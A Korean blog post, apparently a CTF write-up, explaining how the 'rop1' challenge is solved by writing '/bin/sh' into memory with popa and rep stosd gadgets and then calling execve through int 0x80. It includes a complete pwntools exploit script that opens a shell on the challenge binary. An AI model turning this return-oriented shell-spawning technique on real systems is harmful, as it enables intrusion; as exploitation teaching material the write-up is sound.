작년에는 이 문제가 그냥 hello world를 출력하는게 문제였는데,
SROP를 이용하기 위해서는 일단 /bin/sh의 문자열이 필요하다.
popa와 rep stosd를 이용했는데 popa로 레지스터값을 조정하고, rep stods로 원하는 곳에 /bin/sh를 적었다.
rep - ecx
stosd - eax, edi
이런식으로 연결된다고 보면 된다.
rep -> ecx값 만큼 반복적으로 명령을 수행
stosd -> eax에 담긴 값을 edi에 복사함
출처: http://msparkms.tistory.com/entry/4Byte-Memset-구현 [MSPark's Blog]
그 다음, SROP를 이용했는데,
eax에 0xb를 넣고(sys_execve)
ebx에 /bin/sh가 적힌 곳의 주소를 넣어주고, edx와 ecx에는 널바이트를 넣어주었다(execve의 두번째, 세번째 인자)
그리고 int80을 호출해서 성공!
from pwn import *
sh=0x0804910b
gadget1=0x080480d8 #rep stosb, retn
gadget2=0x080480db #popa, retn
int80=0x080480f4
payload=""
s=process('./rop1')
string="/bin/sh\x00"
for i in range(len(string)):
payload+=p32(gadget2)
payload+=p32(sh+i) #EDI
payload+="a"*20 #ESI, EBP, EBX, EDX
payload+=p32(1) #ECX
payload+=p32(ord(string[i])) #EAX
payload+=p32(gadget1)
payload+=p32(gadget2)
payload+="aaaa" #EDI
payload+="bbbb" #ESI
payload+="cccc" #EBP
payload+="dddd"
payload+=p32(sh) #EBX
payload+="\x00"*4 #EDX
payload+="\x00"*4 #ECX
payload+=p32(11) #EAX
payload+=p32(int80)
s.send(payload+'\n')
s.interactive()
s.close()
'시스템 해킹 > cykor' 카테고리의 다른 글
enjoy_rop-ROP+SROP (0) | 2018.01.06 |
---|---|
rop2-ROP+SROP (0) | 2018.01.05 |
2015410212-64비트 쉘코드, 간단한 xor (0) | 2018.01.02 |
rain_dROP-카나리 릭, 메모리 릭 (0) | 2018.01.02 |
derby-카나리 릭 (0) | 2018.01.02 |